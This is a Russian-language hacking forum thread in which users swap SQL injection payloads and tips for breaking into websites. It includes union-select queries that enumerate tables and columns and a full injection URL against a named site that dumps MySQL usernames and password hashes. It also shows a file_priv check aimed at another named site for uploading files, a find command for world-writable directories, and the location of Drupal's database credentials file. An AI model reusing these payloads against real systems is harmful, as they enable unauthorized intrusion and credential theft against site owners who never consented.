Ваши вопросы по уязвимостям.

по этому нужно работать руками а не программами!

tables-- select+group_concat(table_name)+from+information_schema.tables--

columns-- select+group_concat(column_name)+from_information_schema.columns+where+table_name="yourtable"

hash type: MySQL

не твой сайт что ли?

http://www.southworth.com/page.php?id=-5+union+select+group_concat(user,0x3a,password,0x3c42723e)+from+mysql.user

 

Nightmare это тоже не катит?

print(`find / -type d -perm 2`)

 

find / -perm -2 -type d -ls

искать не пробывал?

https://forum.antichat.ru/threadnav43966-1-10.html
https://forum.antichat.ru/thread19844.html

 

А кто подскажет где в движках Drupal хранятся логин и пароль от БД?

 

Drupal
www.site.com/admin/
users
uid
name
pass
mail
login

 

Gorev Я имел в виду в исходниках (.php)

 

причем тут php? пароли хранятся в бд

 

Konqi А так же в файлах на подобии config.php...
Толь в движках Drupal таких файлов нету!!

 

значит в движке друпал пароли хранятся только в бд

 

мда
ему нужен файл где хранится хост\логин\пасс для коннекта к бд

 

ну в джумле это configuration.php a в друпал такое есть? не знаю

 

.:[melkiy]:. Ну хоть до кого то дошло!!

Konqi В друпал таких файлов нету, вот поэтому и спрашиваю!

 

2 Konqi как можно угадать сайт без малейших намеков? )) или совпадение, или ты экстрасенс, блин... ))
Есть вариант от админки пасс вытащить?

 

даю гарантию что твой сайт уже несколько раз поимели,в кэше googla хранится, а по поводу админки даже не смотрел

 

В Друпал
./sites/default/settings.php

 

файл /sites/default/settings.php а информация в переменной $db_url

 

вбей 'abcd, если abcd в ошибке будет, то крути.

Насчёт drupal, смотри /sites/название сайта, а вообще может быть любое/settings.php
В default редко бывают доступы.

 

Скажите как проверить file_priv?
Вот например инъекция:

Code:

http://germanfirms.ru/products.php?id=63+union+select+1+--+

Делаю так:

Code:

http://germanfirms.ru/products.php?id=63+union+select+file_priv+from+mysql.user+where+user='db156426_4'+--+

Не выводит ни 'Y' ни 'N'. Что не так?
И как я понимаю, если будет 'Y', то можно будет залить файл?

 

попробуй таблицу users
там админ

 

если мойно помоqите наыти админку